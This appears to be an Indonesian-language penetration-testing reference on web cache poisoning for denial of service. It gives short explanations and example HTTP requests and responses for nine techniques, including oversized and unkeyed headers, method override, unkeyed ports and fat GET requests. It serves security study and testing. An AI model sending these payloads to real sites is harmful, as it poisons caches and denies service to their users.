Table of contents
Cara-cara
- HTTP Header Oversize (HHO)
Kirimkan permintaan dengan ukuran header yang lebih besar dari yang didukung oleh server web tetapi lebih kecil dari yang didukung oleh server cache. Server web akan merespons dengan respons 400 yang mungkin disimpan dalam cache:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) & Unexpected values
Kirimkan sebuah header yang mengandung karakter meta berbahaya seperti <
dan >
. Agar serangan ini berhasil, Anda harus melewati cache terlebih dahulu.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Header yang dikonfigurasi dengan buruk bisa saja berupa \:
sebagai sebuah header.
Ini juga bisa berhasil jika nilai yang tidak terduga dikirim, seperti Content-Type:
yang tidak terduga.
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Header yang tidak terkunci (Unkeyed header)
Beberapa situs web akan mengembalikan kode status kesalahan jika mereka melihat header tertentu dalam permintaan, seperti pada header X-Amz-Website-Location-Redirect: someThing.
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- Serangan HTTP Method Override (HMO)
Jika server mendukung pengubahan metode HTTP menggunakan header seperti X-HTTP-Method-Override
, X-HTTP-Method
, atau X-Method-Override
, maka memungkinkan untuk meminta halaman yang valid dengan mengubah metode sehingga server tidak mendukungnya, sehingga respons yang buruk akan tersimpan di cache:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Port Tanpa Kunci (Unkeyed Port)
Jika port di header Host tercermin dalam respons dan tidak dimasukkan dalam kunci cache, maka memungkinkan untuk mengarahkannya ke port yang tidak terpakai:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Seperti pada contoh berikut, x
tidak disimpan dalam cache, sehingga seorang penyerang dapat mengeksploitasi perilaku respons redirect untuk membuat redirect mengirim URL yang sangat besar sehingga mengembalikan kesalahan. Kemudian, orang yang mencoba mengakses URL tanpa kunci x
yang belum disimpan dalam cache akan mendapatkan respons kesalahan:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Host header case normalization
Header host seharusnya tidak sensitif terhadap huruf besar atau kecil, namun beberapa situs web mengharapkannya dalam format huruf kecil dan mengembalikan kesalahan jika tidak sesuai:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Path normalization
Beberapa halaman akan mengembalikan kode kesalahan jika data dikirim dalam format URL encode pada path, namun server cache akan melakukan URL decode pada path tersebut dan menyimpan respons untuk path yang sudah didecode:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Beberapa server cache, seperti Cloudflare, atau server web, menghentikan permintaan GET dengan body, sehingga ini bisa disalahgunakan untuk menyimpan respons yang tidak valid:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit